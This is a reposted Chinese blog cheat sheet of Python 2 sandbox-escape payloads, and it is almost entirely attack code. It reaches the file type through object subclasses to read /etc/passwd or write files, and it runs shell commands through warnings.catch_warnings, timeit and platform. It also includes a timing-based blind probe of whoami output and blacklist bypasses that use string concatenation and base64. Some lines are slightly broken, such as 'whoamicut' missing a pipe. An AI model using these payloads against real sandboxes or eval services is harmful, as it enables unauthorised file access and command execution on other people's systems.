(转)python沙盒逃逸(payload总结)

原地址 http://foreversong.cn/archives/1201

读文件

1
2
().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()
# <type 'file'>读取文件

写文件

1
2
().__class__.__bases__[0].__subclasses__()[40]("123.txt",'w').write('asdfqwer')
# <type 'file'>写文件

命令执行

warnings.catch_warnings

1
2
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')
# <class 'warnings.catch_warnings'> 命令执行
1
2
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
# <class 'warnings.catch_warnings'> 命令执行

timeit

1
2
import timeit
timeit.timeit("__import__('os').system('ls'),number=1")

timeit库用来计时,计算函数的完成时间,后面的number表示函数运行的次数 这个就和盲注差不多了,代码执行但是无回显,可以利用相似的payload,比如

1
2
3
4
5
timeit.timeit("__import__('os').system('if [ $(whoamicut -c 1) = y ];then sleep 2;fi;')", number = 1)
2.016458034515381

timeit.timeit("__import__('os').system('if [ $(whoamicut -c 1) = q ];then sleep 2;fi;')", number = 1)
0.009487152099609375

platform

1
2
import platform
platform.popen('ls').read()

或者

1
2
import platform
platform.popen('id',mode='r',bufsize=1).read()

基于黑名单

1
2
 ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
# 使用字符串拼接绕过
1
2
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['b3M='.decode('base64')].__dict__['c3lzdGVt'.decode('base64')]('ls')
# 使用base64编码绕过